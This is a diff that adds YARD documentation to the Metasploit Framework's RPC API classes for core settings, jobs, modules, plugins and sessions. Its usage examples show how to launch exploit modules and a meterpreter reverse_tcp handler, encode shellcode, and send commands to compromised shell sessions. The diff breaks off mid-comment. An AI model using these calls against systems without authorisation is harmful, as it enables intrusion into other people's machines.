# @param [String] val The value of the global datastore option.
|
||||||
|
# @return [Hash] A hash indicating the action was successful. It contains the following key:
|
||||||
|
# * 'result' [String] The successful message: 'success'
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('core.setg', 'MyGlobal', 'foobar')
|
||||||
def rpc_setg(var, val)
|
def rpc_setg(var, val)
|
||||||
framework.datastore[var] = val
|
framework.datastore[var] = val
|
||||||
{ "result" => "success" }
|
{ "result" => "success" }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Unsets a global datastore option.
|
||||||
|
#
|
||||||
|
# @param [String] var The global datastore option.
|
||||||
|
# @return [Hash] A hash indicating the action was successful. It contains the following key:
|
||||||
|
# * 'result' [String] The successful message: 'success'
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('core.unsetg', 'MyGlobal')
|
||||||
def rpc_unsetg(var)
|
def rpc_unsetg(var)
|
||||||
framework.datastore.delete(var)
|
framework.datastore.delete(var)
|
||||||
{ "result" => "success" }
|
{ "result" => "success" }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Saves current framework settings.
|
||||||
|
#
|
||||||
|
# @return [Hash] A hash indicating the action was successful. It contains the following key:
|
||||||
|
# * 'result' [String] The successful message: 'success'
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('core.save')
|
||||||
def rpc_save
|
def rpc_save
|
||||||
framework.save_config
|
framework.save_config
|
||||||
{ "result" => "success" }
|
{ "result" => "success" }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Reloads framework modules. This will take some time to complete.
|
||||||
|
#
|
||||||
|
# @return [Hash] Module stats that contain the following keys:
|
||||||
|
# * 'exploits' [Fixnum] The number of exploits reloaded.
|
||||||
|
# * 'auxiliary' [Fixnum] The number of auxiliary modules reloaded.
|
||||||
|
# * 'post' [Fixnum] The number of post modules reloaded.
|
||||||
|
# * 'encoders' [Fixnum] The number of encoders reloaded.
|
||||||
|
# * 'nops' [Fixnum] The number of NOP modules reloaded.
|
||||||
|
# * 'payloads' [Fixnum] The number of payloads reloaded.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('core.reload_modules')
|
||||||
def rpc_reload_modules
|
def rpc_reload_modules
|
||||||
framework.modules.reload_modules
|
framework.modules.reload_modules
|
||||||
rpc_module_stats()
|
rpc_module_stats()
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Adds a new local file system path (local to the server) as a module path. The module must be
|
||||||
|
# accessible to the user running the Metasploit service, and contain a top-level directory for
|
||||||
|
# each module type such as: exploits, nop, encoder, payloads, auxiliary, post. Also note that
|
||||||
|
# this will not unload modules that were deleted from the file system that were previously loaded.
|
||||||
|
#
|
||||||
|
# @param [String] path The new path to load.
|
||||||
|
# @return [Hash] Module stats that contain the following keys:
|
||||||
|
# * 'exploits' [Fixnum] The number of exploits loaded.
|
||||||
|
# * 'auxiliary' [Fixnum] The number of auxiliary modules loaded.
|
||||||
|
# * 'post' [Fixnum] The number of post modules loaded.
|
||||||
|
# * 'encoders' [Fixnum] The number of encoders loaded.
|
||||||
|
# * 'nops' [Fixnum] The number of NOP modules loaded.
|
||||||
|
# * 'payloads' [Fixnum] The number of payloads loaded.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('core.add_module_path', '/tmp/modules/')
|
||||||
def rpc_add_module_path(path)
|
def rpc_add_module_path(path)
|
||||||
framework.modules.add_module_path(path)
|
framework.modules.add_module_path(path)
|
||||||
rpc_module_stats()
|
rpc_module_stats()
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns the module stats.
|
||||||
|
#
|
||||||
|
# @return [Hash] Module stats that contain the following keys:
|
||||||
|
# * 'exploits' [Fixnum] The number of exploits.
|
||||||
|
# * 'auxiliary' [Fixnum] The number of auxiliary modules.
|
||||||
|
# * 'post' [Fixnum] The number of post modules.
|
||||||
|
# * 'encoders' [Fixnum] The number of encoders.
|
||||||
|
# * 'nops' [Fixnum] The number of NOP modules.
|
||||||
|
# * 'payloads' [Fixnum] The number of payloads.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('core.module_stats')
|
||||||
def rpc_module_stats
|
def rpc_module_stats
|
||||||
{
|
{
|
||||||
'exploits' => framework.stats.num_exploits,
|
'exploits' => framework.stats.num_exploits,
|
||||||
|
@ -56,6 +141,18 @@ class RPC_Core < RPC_Base
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Returns a list of framework threads.
|
||||||
|
#
|
||||||
|
# @return [Hash] A collection of threads. Each key is the thread ID, and the value is another hash
|
||||||
|
# that contains the following:
|
||||||
|
# * 'status' [String] Thread status.
|
||||||
|
# * 'critical' [Boolean] Thread is critical.
|
||||||
|
# * 'name' [String] Thread name.
|
||||||
|
# * 'started' [String] Timestamp of when the thread started.
|
||||||
|
# @example Here's how you would use this from the cient:
|
||||||
|
# # You will get something like this:
|
||||||
|
# # {0=>{"status"=>"sleep", "critical"=>false, "name"=>"StreamServerListener", "started"=>"2015-04-21 15:25:49 -0500"}}
|
||||||
|
# rpc.call('core.thread_list')
|
||||||
def rpc_thread_list
|
def rpc_thread_list
|
||||||
res = {}
|
res = {}
|
||||||
framework.threads.each_index do |i|
|
framework.threads.each_index do |i|
|
||||||
|
@ -71,6 +168,13 @@ class RPC_Core < RPC_Base
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Kills a framework thread.
|
||||||
|
#
|
||||||
|
# @param [Fixnum] tid The thread ID to kill.
|
||||||
|
# @return [Hash] A hash indicating the action was successful. It contains the following key:
|
||||||
|
# * 'result' [String] A successful message: 'success'
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('core.thread_kill', 10)
|
||||||
def rpc_thread_kill(tid)
|
def rpc_thread_kill(tid)
|
||||||
framework.threads.kill(tid.to_i) rescue nil
|
framework.threads.kill(tid.to_i) rescue nil
|
||||||
{ "result" => "success" }
|
{ "result" => "success" }
|
||||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -3,6 +3,14 @@ module Msf
|
||||||
module RPC
|
module RPC
|
||||||
class RPC_Job < RPC_Base
|
class RPC_Job < RPC_Base
|
||||||
|
|
||||||
|
# Returns a list of jobs.
|
||||||
|
#
|
||||||
|
# @return [Hash] A list of jobs (IDs and names).
|
||||||
|
# Each key is the job ID, and each value is the job name.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# # This will return ('0' is the job ID):
|
||||||
|
# # {"0"=>"Exploit: windows/browser/ms14_064_ole_code_execution"
|
||||||
|
# rpc.call('job.list')
|
||||||
def rpc_list
|
def rpc_list
|
||||||
res = {}
|
res = {}
|
||||||
self.framework.jobs.each do |j|
|
self.framework.jobs.each do |j|
|
||||||
|
@ -11,6 +19,14 @@ class RPC_Job < RPC_Base
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Stops a job.
|
||||||
|
#
|
||||||
|
# @param [Fixnum] jid Job ID.
|
||||||
|
# @raise [Msf::RPC::Exception] A 500 response indicating an invalid job ID was given.
|
||||||
|
# @return [Hash] A hash indicating the action was successful. It contains the following key:
|
||||||
|
# * 'result' [String] A successful message: 'success'
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('job.stop', 0)
|
||||||
def rpc_stop(jid)
|
def rpc_stop(jid)
|
||||||
obj = self.framework.jobs[jid.to_s]
|
obj = self.framework.jobs[jid.to_s]
|
||||||
error(500, "Invalid Job") if not obj
|
error(500, "Invalid Job") if not obj
|
||||||
|
@ -18,6 +34,17 @@ class RPC_Job < RPC_Base
|
||||||
{ "result" => "success" }
|
{ "result" => "success" }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Returns information about a job.
|
||||||
|
#
|
||||||
|
# @param [Fixnum] jid Job ID.
|
||||||
|
# @raise [Msf::RPC::Exception] A 500 response indicating an invalid job ID was given.
|
||||||
|
# @return [Hash] A hash that contains information about the job, such as the following (and maybe more):
|
||||||
|
# * 'jid' [Fixnum] The Job ID.
|
||||||
|
# * 'name' [String] The name of the job.
|
||||||
|
# * 'start_time' [Fixnum] The start time.
|
||||||
|
# * 'datastore' [Hash] Datastore options for the module.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('job.info', 0)
|
||||||
def rpc_info(jid)
|
def rpc_info(jid)
|
||||||
obj = self.framework.jobs[jid.to_s]
|
obj = self.framework.jobs[jid.to_s]
|
||||||
error(500, "Invalid Job") if not obj
|
error(500, "Invalid Job") if not obj
|
||||||
|
|
|
@ -4,30 +4,86 @@ module Msf
|
||||||
module RPC
|
module RPC
|
||||||
class RPC_Module < RPC_Base
|
class RPC_Module < RPC_Base
|
||||||
|
|
||||||
|
# Returns a list of exploit names. The 'exploit/' prefix will not be included.
|
||||||
|
#
|
||||||
|
# @return [Hash] A list of exploit names. It contains the following key:
|
||||||
|
# * 'modules' [Array<string>] Exploit names, for example: ['windows/wins/ms04_045_wins']
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('module.exploits')
|
||||||
def rpc_exploits
|
def rpc_exploits
|
||||||
{ "modules" => self.framework.exploits.keys }
|
{ "modules" => self.framework.exploits.keys }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns a list of auxiliary module names. The 'auxiliary/' prefix will not be included.
|
||||||
|
#
|
||||||
|
# @return [Hash] A list of auxiliary module names. It contains the following key:
|
||||||
|
# * 'modules' [Array<string>] Auxiliary module names, for example: ['vsploit/pii/web_pii']
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('module.auxiliary')
|
||||||
def rpc_auxiliary
|
def rpc_auxiliary
|
||||||
{ "modules" => self.framework.auxiliary.keys }
|
{ "modules" => self.framework.auxiliary.keys }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns a list of payload module names. The 'payload/' prefix will not be included.
|
||||||
|
#
|
||||||
|
# @return [Hash] A list of payload module names. It contains the following key:
|
||||||
|
# * 'modules' [Array<string>] Payload module names, for example: ['windows/x64/shell_reverse_tcp']
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('module.payloads')
|
||||||
def rpc_payloads
|
def rpc_payloads
|
||||||
{ "modules" => self.framework.payloads.keys }
|
{ "modules" => self.framework.payloads.keys }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns a list of encoder module names. The 'encoder/' prefix will not be included.
|
||||||
|
#
|
||||||
|
# @return [Hash] A list of encoder module names. It contains the following key:
|
||||||
|
# * 'modules' [Array<string>] Encoder module names, for example: ['x86/unicode_upper']
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('module.encoders')
|
||||||
def rpc_encoders
|
def rpc_encoders
|
||||||
{ "modules" => self.framework.encoders.keys }
|
{ "modules" => self.framework.encoders.keys }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns a list of NOP module names. The 'nop/' prefix will not be included.
|
||||||
|
#
|
||||||
|
# @return [Hash] A list of NOP module names. It contains the following key:
|
||||||
|
# * 'modules' [Array<string>] NOP module names, for example: ['x86/single_byte']
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('module.nops')
|
||||||
def rpc_nops
|
def rpc_nops
|
||||||
{ "modules" => self.framework.nops.keys }
|
{ "modules" => self.framework.nops.keys }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns a list of post module names. The 'post/' prefix will not be included.
|
||||||
|
#
|
||||||
|
# @return [Hash] A list of post module names. It contains the following key:
|
||||||
|
# * 'modules' [Array<string>] Post module names, for example: ['windows/wlan/wlan_profile']
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('module.post')
|
||||||
def rpc_post
|
def rpc_post
|
||||||
{ "modules" => self.framework.post.keys }
|
{ "modules" => self.framework.post.keys }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns the metadata for a module.
|
||||||
|
#
|
||||||
|
# @param [String] mtype Module type. Supported types include (case-sensitive):
|
||||||
|
# * exploit
|
||||||
|
# * auxiliary
|
||||||
|
# * post
|
||||||
|
# * nop
|
||||||
|
# * payload
|
||||||
|
# @param [String] mname Module name. For example: 'windows/wlan/wlan_profile'.
|
||||||
|
# @raise [Msf::RPC::Exception] Module not found (either the wrong type or name).
|
||||||
|
# @return [Hash] The module's metadata. The exact keys you will get depends on the module.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# # This gives us the metadata of ms08_067_netapi
|
||||||
|
# rpc.call('module.info', 'exploit', 'windows/smb/ms08_067_netapi')
|
||||||
def rpc_info(mtype, mname)
|
def rpc_info(mtype, mname)
|
||||||
m = _find_module(mtype,mname)
|
m = _find_module(mtype,mname)
|
||||||
res = {}
|
res = {}
|
||||||
|
@ -74,6 +130,14 @@ class RPC_Module < RPC_Base
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns the compatible payloads for a specific exploit.
|
||||||
|
#
|
||||||
|
# @param [String] mname Exploit module name. For example: 'windows/smb/ms08_067_netapi'.
|
||||||
|
# @raise [Msf::RPC::Exception] Module not found (wrong name).
|
||||||
|
# @return [Hash] The exploit's compatible payloads. It contains the following key:
|
||||||
|
# * 'payloads' [Array<string>] A list of payloads. For example: ['generic/custom']
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('module.compatible_payloads', 'windows/smb/ms08_067_netapi')
|
||||||
def rpc_compatible_payloads(mname)
|
def rpc_compatible_payloads(mname)
|
||||||
m = _find_module('exploit',mname)
|
m = _find_module('exploit',mname)
|
||||||
res = {}
|
res = {}
|
||||||
|
@ -85,6 +149,15 @@ class RPC_Module < RPC_Base
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns the compatible sessions for a specific post module.
|
||||||
|
#
|
||||||
|
# @param [String] mname Post module name. For example: 'windows/wlan/wlan_profile'.
|
||||||
|
# @raise [Msf::RPC::Exception] Module not found (wrong name).
|
||||||
|
# @return [Hash] The post module's compatible sessions. It contains the following key:
|
||||||
|
# * 'sessions' [Array<Fixnum>] A list of session IDs.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('module.compatible_sessions', 'windows/wlan/wlan_profile')
|
||||||
def rpc_compatible_sessions(mname)
|
def rpc_compatible_sessions(mname)
|
||||||
m = _find_module('post',mname)
|
m = _find_module('post',mname)
|
||||||
res = {}
|
res = {}
|
||||||
|
@ -93,6 +166,17 @@ class RPC_Module < RPC_Base
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns the compatible target-specific payloads for an exploit.
|
||||||
|
#
|
||||||
|
# @param [String] mname Exploit module name. For example: 'windows/smb/ms08_067_netapi'
|
||||||
|
# @param [Fixnum] target A specific target the exploit module provides.
|
||||||
|
# @raise [Msf::RPC::Exception] Module not found (wrong name).
|
||||||
|
# @return [Hash] The exploit's target-specific payloads. It contains the following key:
|
||||||
|
# * 'payloads' [Array<string>] A list of payloads.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# # Find all the compatible payloads for target 1 (Windows 2000 Universal)
|
||||||
|
# rpc.call('module.target_compatible_payloads', 'windows/smb/ms08_067_netapi', 1)
|
||||||
def rpc_target_compatible_payloads(mname, target)
|
def rpc_target_compatible_payloads(mname, target)
|
||||||
m = _find_module('exploit',mname)
|
m = _find_module('exploit',mname)
|
||||||
res = {}
|
res = {}
|
||||||
|
@ -105,6 +189,21 @@ class RPC_Module < RPC_Base
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns the module's datastore options.
|
||||||
|
#
|
||||||
|
# @param [String] mtype Module type. Supported types include (case-sensitive):
|
||||||
|
# * exploit
|
||||||
|
# * auxiliary
|
||||||
|
# * post
|
||||||
|
# * nop
|
||||||
|
# * payload
|
||||||
|
# @param [String] mname Module name. For example: 'windows/wlan/wlan_profile'.
|
||||||
|
# @raise [Msf::RPC::Exception] Module not found (either wrong type or name).
|
||||||
|
# @return [Hash] The module's datastore options. This will actually give you each option's
|
||||||
|
# data type, requirement state, basic/advanced type, description, default value, etc.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('module.options', 'exploit', 'windows/smb/ms08_067_netapi')
|
||||||
def rpc_options(mtype, mname)
|
def rpc_options(mtype, mname)
|
||||||
m = _find_module(mtype,mname)
|
m = _find_module(mtype,mname)
|
||||||
res = {}
|
res = {}
|
||||||
|
@ -131,6 +230,28 @@ class RPC_Module < RPC_Base
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Executes a module.
|
||||||
|
#
|
||||||
|
# @param [String] mtype Module type. Supported types include (case-sensitive):
|
||||||
|
# * exploit
|
||||||
|
# * auxiliary
|
||||||
|
# * post
|
||||||
|
# * payload
|
||||||
|
# @param [String] mname Module name. For example: 'windows/smb/ms08_067_netapi'.
|
||||||
|
# @param [Hash] opts Options for the module (such as datastore options).
|
||||||
|
# @raise [Msf::RPC::Exception] Module not found (either wrong type or name).
|
||||||
|
# @note If you get exploit sessions via the RPC service, know that only the RPC clients
|
||||||
|
# have access to those sessions. Framework msfconsole will not be able to use or
|
||||||
|
# even see these sessions, because it belongs to a different framework instance.
|
||||||
|
# However, this restriction does not apply to the database.
|
||||||
|
# @return [Hash] It contains the following keys:
|
||||||
|
# * 'job_id' [Fixnum] Job ID.
|
||||||
|
# * 'uuid' [String] UUID.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# # Starts a windows/meterpreter/reverse_tcp on port 6669
|
||||||
|
# opts = {'LHOST' => '0.0.0.0', 'LPORT'=>6669, 'PAYLOAD'=>'windows/meterpreter/reverse_tcp'}
|
||||||
|
# rpc.call('module.execute', 'exploit', 'multi/handler', opts)
|
||||||
def rpc_execute(mtype, mname, opts)
|
def rpc_execute(mtype, mname, opts)
|
||||||
mod = _find_module(mtype,mname)
|
mod = _find_module(mtype,mname)
|
||||||
case mtype
|
case mtype
|
||||||
|
@ -146,11 +267,44 @@ class RPC_Module < RPC_Base
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns a list of encoding formats.
|
||||||
|
#
|
||||||
|
# @return [Array<String>] Encoding foramts.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('module.encode_formats')
|
||||||
def rpc_encode_formats
|
def rpc_encode_formats
|
||||||
# Supported formats
|
# Supported formats
|
||||||
Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats
|
Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Encodes data with an encoder.
|
||||||
|
#
|
||||||
|
# @param [String] data Data to encode.
|
||||||
|
# @param [encoder] encoder Encoder module name. For example: 'x86/single_byte'.
|
||||||
|
# @param [Hash] options Encoding options, such as:
|
||||||
|
# @option options [String] 'format' Encoding format.
|
||||||
|
# @option options [String] 'badchars' Bad characters.
|
||||||
|
# @option options [String] 'platform' Platform.
|
||||||
|
# @option options [String] 'arch' Architecture.
|
||||||
|
# @option options [Fixnum] 'ecount' Number of times to encode.
|
||||||
|
# @option options [TrueClass] 'inject' To enable injection.
|
||||||
|
# @option options [String] 'template' The template file (an executable).
|
||||||
|
# @option options [String] 'template_path' Template path.
|
||||||
|
# @option options [String] 'addshellcode' Custom shellcode.
|
||||||
|
# @raise [Msf::RPC::Exception] Error could be one of these:
|
||||||
|
# * 500 Invalid format
|
||||||
|
# * 500 Failure to encode
|
||||||
|
# @return The encoded data. It contains the following key:
|
||||||
|
# * 'encoded' [String] The encoded data in the format you specify.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# # This will encode 'AAAA' with shikata_ga_nai, and prints the following:
|
||||||
|
# # unsigned char buf[] =
|
||||||
|
# # "\xba\x9e\xb5\x91\x66\xdb\xd2\xd9\x74\x24\xf4\x5f\x29\xc9\xb1"
|
||||||
|
# # "\x01\x31\x57\x15\x03\x57\x15\x83\xc7\x04\xe2\x6b\xf4\xd0\x27";
|
||||||
|
# result = rpc.call('module.encode', 'AAAA', 'x86/shikata_ga_nai', {'format'=>'c'})
|
||||||
|
# puts result['encoded']
|
||||||
def rpc_encode(data, encoder, options)
|
def rpc_encode(data, encoder, options)
|
||||||
# Load supported formats
|
# Load supported formats
|
||||||
supported_formats = Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats
|
supported_formats = Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats
|
||||||
|
|
|
@ -3,8 +3,20 @@ module Msf
|
||||||
module RPC
|
module RPC
|
||||||
class RPC_Plugin < RPC_Base
|
class RPC_Plugin < RPC_Base
|
||||||
|
|
||||||
|
# Loads a plugin.
|
||||||
|
#
|
||||||
|
# @param [String] path The plugin filename (without the extension). It will try to find your plugin
|
||||||
|
# in either one of these directories:
|
||||||
|
# * msf/plugins/
|
||||||
|
# * ~/.msf4/plugins/
|
||||||
|
# @param [Hash] xopts Options to pass to the plugin.
|
||||||
|
# @return [Hash] A hash indicating whether the action was successful or not.
|
||||||
|
# It contains the following key:
|
||||||
|
# * 'result' [String] A value that either says 'success' or 'failure'.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# # Load the nexpose plugin
|
||||||
|
# rpc.call('plugin.load', 'nexpose')
|
||||||
def rpc_load(path, xopts = {})
|
def rpc_load(path, xopts = {})
|
||||||
|
|
||||||
opts = {}
|
opts = {}
|
||||||
|
|
||||||
xopts.each do |k,v|
|
xopts.each do |k,v|
|
||||||
|
@ -35,6 +47,15 @@ class RPC_Plugin < RPC_Base
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Unloads a plugin.
|
||||||
|
#
|
||||||
|
# @param [String] name The plugin filename (without the extension). For example: 'nexpose'.
|
||||||
|
# @return [Hash] A hash indicating whether the action was successful or not.
|
||||||
|
# It contains the following key:
|
||||||
|
# * 'result' [String] A value that either says 'success' or 'failure'.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('plugin.unload', 'nexpose')
|
||||||
def rpc_unload(name)
|
def rpc_unload(name)
|
||||||
self.framework.plugins.each { |plugin|
|
self.framework.plugins.each { |plugin|
|
||||||
# Unload the plugin if it matches the name we're searching for
|
# Unload the plugin if it matches the name we're searching for
|
||||||
|
@ -47,6 +68,13 @@ class RPC_Plugin < RPC_Base
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Returns a list of loaded plugins.
|
||||||
|
#
|
||||||
|
# @return [Hash] All the plugins loaded. It contains the following key:
|
||||||
|
# * 'plugins' [Array<string>] A list of plugin names.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('plugin.loaded')
|
||||||
def rpc_loaded
|
def rpc_loaded
|
||||||
ret = {}
|
ret = {}
|
||||||
ret[:plugins] = []
|
ret[:plugins] = []
|
||||||
|
|
|
@ -6,6 +6,27 @@ module Msf
|
||||||
module RPC
|
module RPC
|
||||||
class RPC_Session < RPC_Base
|
class RPC_Session < RPC_Base
|
||||||
|
|
||||||
|
# Returns a list of sessions that belong to the framework instance used by the RPC service.
|
||||||
|
#
|
||||||
|
# @return [Hash] Information about sessions. Each key is the session ID, and each value is a hash
|
||||||
|
# that contains the following:
|
||||||
|
# * 'type' [String] Payload type. Example: meterpreter.
|
||||||
|
# * 'tunnel_local' [String] Tunnel (where the malicious traffic comes from).
|
||||||
|
# * 'tunnel_peer' [String] Tunnel (local).
|
||||||
|
# * 'via_exploit' [String] Name of the exploit used by the session.
|
||||||
|
# * 'desc' [String] Session description.
|
||||||
|
# * 'info' [String] Session info (most likely the target's computer name).
|
||||||
|
# * 'workspace' [String] Name of the workspace.
|
||||||
|
# * 'session_host' [String] Session host.
|
||||||
|
# * 'session_port' [Fixnum] Session port.
|
||||||
|
# * 'target_host' [String] Target host.
|
||||||
|
# * 'username' [String] Username.
|
||||||
|
# * 'uuid' [String] UUID.
|
||||||
|
# * 'exploit_uuid' [String] Exploit's UUID.
|
||||||
|
# * 'routes' [String] Routes.
|
||||||
|
# * 'platform' [String] Platform.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('session.list')
|
||||||
def rpc_list
|
def rpc_list
|
||||||
res = {}
|
res = {}
|
||||||
self.framework.sessions.each do |sess|
|
self.framework.sessions.each do |sess|
|
||||||
|
@ -34,6 +55,13 @@ class RPC_Session < RPC_Base
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Stops a session.
|
||||||
|
#
|
||||||
|
# @param [Fixnum] sid Session ID.
|
||||||
|
# @raise [Msf::RPC::Exception] Unknown session ID.
|
||||||
|
# @return [Hash] A hash indicating the action was successful. It contains the following key:
|
||||||
|
# * 'result' [String] A message that says 'success'.
|
||||||
def rpc_stop( sid)
|
def rpc_stop( sid)
|
||||||
|
|
||||||
s = self.framework.sessions[sid.to_i]
|
s = self.framework.sessions[sid.to_i]
|
||||||
|
@ -44,11 +72,26 @@ class RPC_Session < RPC_Base
|
||||||
{ "result" => "success" }
|
{ "result" => "success" }
|
||||||
end
|
end
|
||||||
|
|
||||||
# Shell read is now a positon-aware reader of the shell's associated
|
|
||||||
# ring buffer. For more direct control of the pointer into a ring
|
# Reads the output of a shell session (such as a command output).
|
||||||
# buffer, a client can instead use ring_read, and note the returned
|
#
|
||||||
# sequence number on their own (making multiple views into the same
|
# @note Shell read is now a positon-aware reader of the shell's associated
|
||||||
# session possible, regardless of position in the stream)
|
# ring buffer. For more direct control of the pointer into a ring
|
||||||
|
# buffer, a client can instead use ring_read, and note the returned
|
||||||
|
# sequence number on their own (making multiple views into the same
|
||||||
|
# session possible, regardless of position in the stream)
|
||||||
|
# @see #rpc_ring_read
|
||||||
|
# @param [Fixnum] sid Session ID.
|
||||||
|
# @param [Fixnum] ptr Pointer.
|
||||||
|
# @raise [Msf::RPC::Exception] An error that could be one of these:
|
||||||
|
# * 500 Session ID is unknown.
|
||||||
|
# * 500 Invalid session type.
|
||||||
|
# * 500 Session is disconnected.
|
||||||
|
# @return [Hash] It contains the following keys:
|
||||||
|
# * 'seq' [String] Sequence.
|
||||||
|
# * 'data' [String] Read data.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('session.shell_read', 2)
|
||||||
def rpc_shell_read( sid, ptr=nil)
|
def rpc_shell_read( sid, ptr=nil)
|
||||||
_valid_session(sid,"shell")
|
_valid_session(sid,"shell")
|
||||||
# @session_sequence tracks the pointer into the ring buffer
|
# @session_sequence tracks the pointer into the ring buffer
|
||||||
|
@ -63,12 +106,39 @@ class RPC_Session < RPC_Base
|
||||||
return ring_buffer
|
return ring_buffer
|
||||||
end
|
end
|
||||||
|
|
||||||
# shell_write is pretty much totally identical to ring_put
|
|
||||||
|
# Writes to a shell session (such as a command). Note that you will to manually add a newline at the
|
||||||
|
# enf of your input so the system will process it.
|
||||||
|
# You may want to use #rpc_shell_read to retrieve the output.
|
||||||
|
#
|
||||||
|
# @note shell_write is a wrapper of #rpc_ring_put.
|
||||||
|
# @see #rpc_ring_put
|
||||||
|
# @raise [Msf::RPC::Exception] An error that could be one of these:
|
||||||
|
# * 500 Session ID is unknown.
|
||||||
|
# * 500 Invalid session type.
|
||||||
|
# * 500 Session is disconnected.
|
||||||
|
# @param [Fixnum] sid Session ID.
|
||||||
|
# @param [String] data The data to write.
|
||||||
|
# @return [Hash]
|
||||||
|
# * 'write_count' [Fixnum] Number of bytes written.
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('session.shell_write', 2, "DATA")
|
||||||
def rpc_shell_write( sid, data)
|
def rpc_shell_write( sid, data)
|
||||||
_valid_session(sid,"shell")
|
_valid_session(sid,"shell")
|
||||||
rpc_ring_put(sid,data)
|
rpc_ring_put(sid,data)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Upgrades a shell to a meterpreter.
|
||||||
|
#
|
||||||
|
# @note This uses post/multi/manage/shell_to_meterpreter.
|
||||||
|
# @param [Fixnum] sid Session ID.
|
||||||
|
# @param [String] lhost Local host.
|
||||||
|
# @param [Fixnum] lport Local port.
|
||||||
|
# @return [Hash] A hash indicating the actioin was successful. It contains the following key:
|
||||||
|
# * 'result' [String] A message that says 'success'
|
||||||
|
# @example Here's how you would use this from the client:
|
||||||
|
# rpc.call('session.shell_upgrade', 2, payload_lhost, payload_lport)
|
||||||
def rpc_shell_upgrade( sid, lhost, lport)
|
def rpc_shell_upgrade( sid, lhost, lport)
|
||||||
s = _valid_session(sid,"shell")
|
s = _valid_session(sid,"shell")
|
||||||
s.exploit_datastore['LHOST'] = lhost
|
s.exploit_datastore['LHOST'] = lhost
|
||||||
|
@ -77,6 +147,20 @@ class RPC_Session < RPC_Base
|
||||||
{ "result" => "success" }
|
{ "result" => "success" }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Reads the output from a meterpreter session (such as a command output).
|
||||||
|
#
|
||||||
|
# @note Multiple concurrent callers writing and reading the same Meterperter session can lead to
|
||||||
|
# a conflict, where one caller gets the others output and vice versa. Concurrent access to a
|
||||||
|
# Meterpreter session is best handled by post modules.
|
||||||
|
# @param [Fixnum] sid Session ID.
|
||||||
|
